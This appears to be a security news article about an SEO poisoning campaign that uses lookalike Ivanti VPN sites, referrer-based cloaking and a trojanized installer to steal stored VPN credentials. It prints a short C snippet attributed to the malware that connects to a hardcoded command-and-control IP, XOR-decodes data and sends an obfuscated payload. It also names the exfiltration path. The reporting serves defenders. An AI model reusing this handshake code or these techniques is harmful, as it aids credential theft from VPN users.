Beware of Malicious Ivanti VPN Client Sites in Google Search That Delivers Malware

Cybersecurity: Malicious Ivanti VPN Sites Discovered

In early October 2025, a new SEO poisoning campaign emerged, targeting users searching for the authentic Ivanti Pulse Secure VPN client.

The attackers have established deceptive domains such as ivanti-pulsesecure.com and ivanti-secure-access.org to distribute trojanized installers disguised as legitimate software.

Users clicking on top search results are redirected to these malicious sites, where they encounter a signed MSI file presented as Ivanti’s Secure Access Client for download.

This trojanized installer includes a credential-stealing DLL, which collects saved VPN connection information and sends it to a command-and-control (C2) server hosted on Microsoft Azure infrastructure.

Zscaler researchers have identified a sophisticated referrer-based content delivery method employed by these phishing domains. When accessed directly, the sites display benign content, lacking download links, making quick detection by analysts and security tools challenging.

Only users arriving through search engine referrals, particularly from Bing, are displayed the malicious download link, leveraging the HTTP Referrer header to obscure the true nature of the pages.

Once downloaded, the MSI installer deploys two malicious DLLs— dwmapi.dll and pulseextension.dll —which are signed by a legitimate certificate authority, aiding in bypassing security measures.

These DLLs incorporate routines to locate and parse the Ivanti connection store ( connectionstore.dat ), extracting stored URIs and credentials.

The malware's infection mechanism reveals how it establishes persistence and avoids detection. Upon execution, the trojanized DLL initiates a network handshake with a hardcoded IP address in the Azure range (4.239.95.1) on port 8080.

WSADATA was; WSAStartup(MAKEWORD(2,2), &wsa); int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(8080); inet_pton(AF_INET, "4.239.95.1", &addr.sin_addr); connect(sock, (struct sockaddr*)&addr, sizeof(addr)); // Receive 48 bytes recv(sock, buf, 0x30, 0); // XOR deobfuscation for(int i=0;i<0x30;i++) buf[i]^=key[i]; // Send 52-byte obfuscated payload send(sock, buf, 0x34, 0);

Following the initial handshake and XOR-based deobfuscation, the malware transmits stolen VPN credentials via an HTTP POST request to the path /incomeshit , a colloquial term for exfiltration channels.

Given that the IP falls within Microsoft Azure’s range, security teams may mistakenly interpret these connections as benign cloud traffic.

This campaign demonstrates the effectiveness of search engine poisoning as an initial access vector by masquerading as trusted software and using advanced evasion techniques.

Organizations should verify any Ivanti installer checksums, monitor outbound connections to unfamiliar Azure IPs on port 8080, and educate users on verifying official download sources.

Continuous threat hunting for referrer-based anomalies remains crucial to countering these covert attacks.

Based on reporting by Cyber Security News.